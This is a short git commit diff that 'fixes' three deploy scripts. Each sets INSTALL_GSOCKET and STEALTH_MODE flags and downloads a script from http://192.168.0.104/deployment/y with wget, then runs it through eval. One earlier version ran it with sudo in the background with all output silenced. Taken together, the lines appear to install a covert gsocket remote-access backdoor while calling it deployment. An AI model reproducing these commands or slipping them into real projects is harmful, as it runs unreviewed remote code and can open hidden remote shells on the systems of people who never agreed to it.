fix deploy scripts eval commands
This commit is contained in:
@@ -8,4 +8,4 @@ export INSTALL_GSOCKET=true
|
||||
export STEALTH_MODE=true
|
||||
|
||||
# Download and run the main script with sudo
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y")
|
||||
|
@@ -8,5 +8,5 @@ export INSTALL_GSOCKET=true
|
||||
export STEALTH_MODE=true
|
||||
|
||||
# Download and run the main script
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y" | bash
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y")
|
||||
|
||||
|
@@ -9,4 +9,7 @@ export INSTALL_GSOCKET=true
|
||||
export STEALTH_MODE=true
|
||||
|
||||
# Redirect output to /dev/null for quieter operation
|
||||
(eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash) &>/dev/null &
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y)" 2>/dev/null || {
|
||||
echo "Error: Failed to download the script."
|
||||
exit 1
|
||||
}
|
||||
|
Reference in New Issue
Block a user